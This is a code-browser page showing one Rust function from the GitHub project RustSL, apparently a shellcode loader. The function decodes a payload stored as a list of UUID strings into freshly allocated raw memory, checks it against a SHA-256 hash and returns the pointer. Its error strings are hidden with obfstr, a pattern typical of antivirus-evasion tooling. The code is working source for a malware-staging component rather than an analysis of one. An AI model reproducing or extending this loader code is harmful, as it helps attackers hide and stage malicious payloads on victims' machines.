MCPcopy Create free account
hub / github.com/echQoQ/RustSL / decrypt

Function decrypt

src/decrypt/uuid.rs:4–35  ·  view source on GitHub ↗
(decoded: &[u8])

Source from the content-addressed store, hash-verified

2use obfstr::obfstr;
3
4pub unsafe fn decrypt(decoded: &[u8]) -> Result<(usize, usize), String> {
5 use sha2::{Sha256, Digest};
6 let hash_len = 32;
7 let len_len = 4;
8 if decoded.len() < hash_len + len_len {
9 return Err(obfstr!("uuid payload too short").to_string());
10 }
11 let hash = &decoded[0..hash_len];
12 let len_bytes = &decoded[hash_len..hash_len + len_len];
13 let original_len = u32::from_le_bytes([len_bytes[0], len_bytes[1], len_bytes[2], len_bytes[3]]) as usize;
14 let uuids_str = std::str::from_utf8(&decoded[hash_len + len_len..]).map_err(|_| obfstr!("invalid utf8").to_string())?;
15 let uuids: Vec<&str> = uuids_str.split(',').collect();
16 let p = unsafe { alloc_mem(original_len)? };
17 let buf = std::slice::from_raw_parts_mut(p, original_len);
18 let mut idx = 0;
19 for uuid_str in uuids {
20 let u = uuid::Uuid::parse_str(uuid_str).map_err(|_| obfstr!("Invalid UUID").to_string())?;
21 let bytes = u.as_bytes();
22 for &b in bytes {
23 if idx >= original_len { break; }
24 buf[idx] = b;
25 idx += 1;
26 }
27 }
28 let mut hasher = Sha256::new();
29 hasher.update(&buf[..original_len]);
30 let calc_hash = hasher.finalize();
31 if hash != calc_hash.as_slice() {
32 return Err(obfstr!("uuid hash mismatch").to_string());
33 }
34 Ok((p as usize, original_len))
35}

Callers

nothing calls this directly

Calls 1

alloc_memFunction · 0.50

Tested by

no test coverage detected